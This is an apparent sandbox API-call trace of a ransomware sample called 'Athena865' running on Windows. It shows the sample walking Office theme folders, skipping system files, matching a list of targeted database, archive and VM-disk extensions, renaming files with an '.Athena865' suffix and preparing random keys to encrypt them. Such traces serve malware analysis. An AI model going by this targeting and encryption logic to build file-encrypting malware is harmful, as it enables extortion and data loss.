1 [0137.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.495] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0137.495] lstrcmpiW (lpString1="Apex.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.495] lstrcmpiW (lpString1="Apex.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.495] lstrcmpiW (lpString1="Apex.xml", lpString2=".") returned 1 [0137.495] lstrcmpiW (lpString1="Apex.xml", lpString2="..") returned 1 [0137.496] lstrcmpiW (lpString1="Apex.xml", lpString2="windows") returned -1 [0137.496] lstrcmpiW (lpString1="Apex.xml", lpString2="bootmgr") returned -1 [0137.496] lstrcmpiW (lpString1="Apex.xml", lpString2="temp") returned -1 [0137.496] lstrcmpiW (lpString1="Apex.xml", lpString2="pagefile.sys") returned -1 [0137.496] lstrcmpiW (lpString1="Apex.xml", lpString2="boot") returned -1 [0137.496] lstrcmpiW (lpString1="Apex.xml", lpString2="ids.txt") returned -1 [0137.496] lstrcmpiW (lpString1="Apex.xml", lpString2="ntuser.dat") returned -1 [0137.496] lstrcmpiW (lpString1="Apex.xml", lpString2="perflogs") returned -1 [0137.496] lstrcmpiW (lpString1="Apex.xml", lpString2="MSBuild") returned -1 [0137.496] lstrlenW (lpString="Apex.xml") returned 8 [0137.496] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Apex.xml" | out: lpString1="Apex.xml") returned="Apex.xml" [0137.496] lstrlenW (lpString="Apex.xml") returned 8 [0137.496] lstrlenW (lpString="Athena865") returned 9 [0137.496] lstrlenW (lpString=".dll") returned 4 [0137.496] lstrcmpiW (lpString1="Apex.xml", lpString2=".dll") returned 1 [0137.496] lstrlenW (lpString=".lnk") returned 4 [0137.496] lstrcmpiW (lpString1="Apex.xml", lpString2=".lnk") returned 1 [0137.496] lstrlenW (lpString=".ini") returned 4 [0137.496] lstrcmpiW (lpString1="Apex.xml", lpString2=".ini") returned 1 [0137.496] lstrlenW (lpString=".sys") returned 4 [0137.496] lstrcmpiW (lpString1="Apex.xml", lpString2=".sys") returned 1 [0137.496] lstrlenW (lpString="Apex.xml") returned 8 [0137.496] lstrlenW (lpString="bak") returned 3 [0137.496] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0137.496] lstrlenW (lpString="ba_") returned 3 [0137.496] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0137.496] lstrlenW (lpString="dbb") returned 3 [0137.496] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0137.497] lstrlenW (lpString="vmdk") returned 4 [0137.497] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0137.497] lstrlenW (lpString="rar") returned 3 [0137.497] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0137.497] lstrlenW (lpString="zip") returned 3 [0137.497] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0137.497] lstrlenW (lpString="tgz") returned 3 [0137.497] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0137.497] lstrlenW (lpString="vbox") returned 4 [0137.497] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0137.497] lstrlenW (lpString="vdi") returned 3 [0137.497] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0137.497] lstrlenW (lpString="vhd") returned 3 [0137.497] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0137.497] lstrlenW (lpString="vhdx") returned 4 [0137.497] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0137.497] lstrlenW (lpString="avhd") returned 4 [0137.497] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0137.497] lstrlenW (lpString="db") returned 2 [0137.497] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0137.497] lstrlenW (lpString="db2") returned 3 [0137.497] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0137.497] lstrlenW (lpString="db3") returned 3 [0137.497] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0137.497] lstrlenW (lpString="dbf") returned 3 [0137.497] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0137.497] lstrlenW (lpString="mdf") returned 3 [0137.498] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0137.498] lstrlenW (lpString="mdb") returned 3 [0137.498] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0137.498] lstrlenW (lpString="sql") returned 3 [0137.498] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0137.498] lstrlenW (lpString="sqlite") returned 6 [0137.498] lstrcmpiW (lpString1="ex.xml", lpString2="sqlite") returned -1 [0137.498] lstrlenW (lpString="sqlite3") returned 7 [0137.498] lstrcmpiW (lpString1="pex.xml", lpString2="sqlite3") returned -1 [0137.498] lstrlenW (lpString="sqlitedb") returned 8 [0137.498] lstrlenW (lpString="xml") returned 3 [0137.498] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0137.498] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.Athena865") returned 83 [0137.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml.athena865"), dwFlags=0x1) returned 1 [0137.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.499] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3822) returned 1 [0137.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.500] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.501] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.501] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.501] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11f0, lpName=0x0) returned 0x17c [0137.503] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11f0) returned 0x100000 [0137.503] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.504] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.504] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.505] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.505] CloseHandle (hObject=0x17c) returned 1 [0137.505] CloseHandle (hObject=0x154) returned 1 [0137.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.505] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".") returned 1 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2="..") returned 1 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2="windows") returned -1 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2="bootmgr") returned -1 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2="temp") returned -1 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2="pagefile.sys") returned -1 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2="boot") returned -1 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2="ids.txt") returned -1 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2="ntuser.dat") returned -1 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2="perflogs") returned -1 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2="MSBuild") returned -1 [0137.506] lstrlenW (lpString="Apothecary.xml") returned 14 [0137.506] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Apothecary.xml" | out: lpString1="Apothecary.xml") returned="Apothecary.xml" [0137.506] lstrlenW (lpString="Apothecary.xml") returned 14 [0137.506] lstrlenW (lpString="Athena865") returned 9 [0137.506] lstrcmpiW (lpString1="ecary.xml", lpString2="Athena865") returned 1 [0137.506] lstrlenW (lpString=".dll") returned 4 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".dll") returned 1 [0137.506] lstrlenW (lpString=".lnk") returned 4 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".lnk") returned 1 [0137.506] lstrlenW (lpString=".ini") returned 4 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".ini") returned 1 [0137.506] lstrlenW (lpString=".sys") returned 4 [0137.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".sys") returned 1 [0137.507] lstrlenW (lpString="Apothecary.xml") returned 14 [0137.507] lstrlenW (lpString="bak") returned 3 [0137.507] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0137.507] lstrlenW (lpString="ba_") returned 3 [0137.507] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0137.507] lstrlenW (lpString="dbb") returned 3 [0137.507] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0137.507] lstrlenW (lpString="vmdk") returned 4 [0137.507] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0137.507] lstrlenW (lpString="rar") returned 3 [0137.507] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0137.507] lstrlenW (lpString="zip") returned 3 [0137.507] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0137.507] lstrlenW (lpString="tgz") returned 3 [0137.507] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0137.507] lstrlenW (lpString="vbox") returned 4 [0137.507] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0137.507] lstrlenW (lpString="vdi") returned 3 [0137.507] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0137.507] lstrlenW (lpString="vhd") returned 3 [0137.507] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0137.507] lstrlenW (lpString="vhdx") returned 4 [0137.507] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0137.507] lstrlenW (lpString="avhd") returned 4 [0137.507] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0137.507] lstrlenW (lpString="db") returned 2 [0137.507] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0137.507] lstrlenW (lpString="db2") returned 3 [0137.508] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0137.508] lstrlenW (lpString="db3") returned 3 [0137.508] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0137.508] lstrlenW (lpString="dbf") returned 3 [0137.508] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0137.508] lstrlenW (lpString="mdf") returned 3 [0137.508] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0137.508] lstrlenW (lpString="mdb") returned 3 [0137.508] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0137.508] lstrlenW (lpString="sql") returned 3 [0137.508] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0137.508] lstrlenW (lpString="sqlite") returned 6 [0137.508] lstrcmpiW (lpString1="ry.xml", lpString2="sqlite") returned -1 [0137.508] lstrlenW (lpString="sqlite3") returned 7 [0137.508] lstrcmpiW (lpString1="ary.xml", lpString2="sqlite3") returned -1 [0137.508] lstrlenW (lpString="sqlitedb") returned 8 [0137.508] lstrcmpiW (lpString1="cary.xml", lpString2="sqlitedb") returned -1 [0137.508] lstrlenW (lpString="xml") returned 3 [0137.508] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0137.508] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.Athena865") returned 89 [0137.508] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml.athena865"), dwFlags=0x1) returned 1 [0137.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.510] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3615) returned 1 [0137.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.510] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.511] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.511] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.511] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x17c [0137.513] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0137.514] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.515] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.515] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.515] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.516] CloseHandle (hObject=0x17c) returned 1 [0137.516] CloseHandle (hObject=0x154) returned 1 [0137.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.516] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0137.516] lstrcmpiW (lpString1="Aspect.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.516] lstrcmpiW (lpString1="Aspect.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.516] lstrcmpiW (lpString1="Aspect.xml", lpString2=".") returned 1 [0137.516] lstrcmpiW (lpString1="Aspect.xml", lpString2="..") returned 1 [0137.516] lstrcmpiW (lpString1="Aspect.xml", lpString2="windows") returned -1 [0137.516] lstrcmpiW (lpString1="Aspect.xml", lpString2="bootmgr") returned -1 [0137.516] lstrcmpiW (lpString1="Aspect.xml", lpString2="temp") returned -1 [0137.516] lstrcmpiW (lpString1="Aspect.xml", lpString2="pagefile.sys") returned -1 [0137.516] lstrcmpiW (lpString1="Aspect.xml", lpString2="boot") returned -1 [0137.516] lstrcmpiW (lpString1="Aspect.xml", lpString2="ids.txt") returned -1 [0137.516] lstrcmpiW (lpString1="Aspect.xml", lpString2="ntuser.dat") returned -1 [0137.516] lstrcmpiW (lpString1="Aspect.xml", lpString2="perflogs") returned -1 [0137.516] lstrcmpiW (lpString1="Aspect.xml", lpString2="MSBuild") returned -1 [0137.516] lstrlenW (lpString="Aspect.xml") returned 10 [0137.517] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Aspect.xml" | out: lpString1="Aspect.xml") returned="Aspect.xml" [0137.517] lstrlenW (lpString="Aspect.xml") returned 10 [0137.517] lstrlenW (lpString="Athena865") returned 9 [0137.517] lstrcmpiW (lpString1="spect.xml", lpString2="Athena865") returned 1 [0137.517] lstrlenW (lpString=".dll") returned 4 [0137.517] lstrcmpiW (lpString1="Aspect.xml", lpString2=".dll") returned 1 [0137.517] lstrlenW (lpString=".lnk") returned 4 [0137.517] lstrcmpiW (lpString1="Aspect.xml", lpString2=".lnk") returned 1 [0137.517] lstrlenW (lpString=".ini") returned 4 [0137.517] lstrcmpiW (lpString1="Aspect.xml", lpString2=".ini") returned 1 [0137.517] lstrlenW (lpString=".sys") returned 4 [0137.517] lstrcmpiW (lpString1="Aspect.xml", lpString2=".sys") returned 1 [0137.517] lstrlenW (lpString="Aspect.xml") returned 10 [0137.517] lstrlenW (lpString="bak") returned 3 [0137.517] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0137.517] lstrlenW (lpString="ba_") returned 3 [0137.517] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0137.517] lstrlenW (lpString="dbb") returned 3 [0137.517] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0137.517] lstrlenW (lpString="vmdk") returned 4 [0137.517] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0137.517] lstrlenW (lpString="rar") returned 3 [0137.517] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0137.517] lstrlenW (lpString="zip") returned 3 [0137.517] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0137.517] lstrlenW (lpString="tgz") returned 3 [0137.517] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0137.517] lstrlenW (lpString="vbox") returned 4 [0137.518] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0137.518] lstrlenW (lpString="vdi") returned 3 [0137.518] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0137.518] lstrlenW (lpString="vhd") returned 3 [0137.518] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0137.518] lstrlenW (lpString="vhdx") returned 4 [0137.518] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0137.518] lstrlenW (lpString="avhd") returned 4 [0137.518] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0137.518] lstrlenW (lpString="db") returned 2 [0137.518] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0137.518] lstrlenW (lpString="db2") returned 3 [0137.518] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0137.518] lstrlenW (lpString="db3") returned 3 [0137.518] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0137.518] lstrlenW (lpString="dbf") returned 3 [0137.518] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0137.518] lstrlenW (lpString="mdf") returned 3 [0137.518] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0137.518] lstrlenW (lpString="mdb") returned 3 [0137.518] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0137.518] lstrlenW (lpString="sql") returned 3 [0137.518] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0137.518] lstrlenW (lpString="sqlite") returned 6 [0137.518] lstrcmpiW (lpString1="ct.xml", lpString2="sqlite") returned -1 [0137.518] lstrlenW (lpString="sqlite3") returned 7 [0137.518] lstrcmpiW (lpString1="ect.xml", lpString2="sqlite3") returned -1 [0137.519] lstrlenW (lpString="sqlitedb") returned 8 [0137.519] lstrcmpiW (lpString1="pect.xml", lpString2="sqlitedb") returned -1 [0137.519] lstrlenW (lpString="xml") returned 3 [0137.519] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0137.519] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.Athena865") returned 85 [0137.519] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml.athena865"), dwFlags=0x1) returned 1 [0137.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.520] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3595) returned 1 [0137.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.521] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.521] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.521] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.522] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1110, lpName=0x0) returned 0x17c [0137.523] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1110) returned 0x100000 [0137.524] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.525] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.525] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.525] RtlAllocateHeap (HeapHandle=0x4f0000, 